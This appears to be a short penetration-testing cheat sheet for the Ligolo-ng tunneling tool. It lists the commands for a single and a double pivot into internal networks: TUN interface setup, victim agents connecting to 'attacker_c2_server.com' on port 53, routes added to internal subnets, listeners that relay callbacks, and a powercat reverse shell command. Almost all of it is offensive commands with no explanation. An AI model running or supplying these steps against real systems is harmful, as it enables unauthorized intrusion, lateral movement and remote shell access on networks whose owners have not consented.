sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
ip addr show ligolo
./proxy -laddr 0.0.0.0:3389 -selfcert
Victim (agent) - single pivot
./agent -connect attacker_c2_server.com:53 -ignore-cert
Server after victim joining
@ligolo chk network config
session
1
>> agent xx
ifconfig
sudo ip route add 172.16.x.0/24 dev ligolo
ip route list
Victim 2 (2nd agent) - double pivot
./agent -connect attacker_c2_server.com:53 -ignore-cert
Server after victim joining
@ligolo chk network config
session
2
>> agent yy
ifconfig
sudo ip route add 192.168.y.0/24 dev ligolo
ip route list
stop
session
2
>> agent yy
start_tunnel
Port forward in 2nd agent to receive callback from 3rd victim
>> agent yy
listener_add --addr 0.0.0.0:25 --to 127.0.0.1:443 --tcp
listener_list
listener_stop
listener_add --addr 0.0.0.0:8081 --to 172.16.202.194:8081 --tcp
powercat -c 192.168.x.0 -p 25 -ep
Access agent's local port
sudo ip route add 240.0.0.1/32 dev ligolo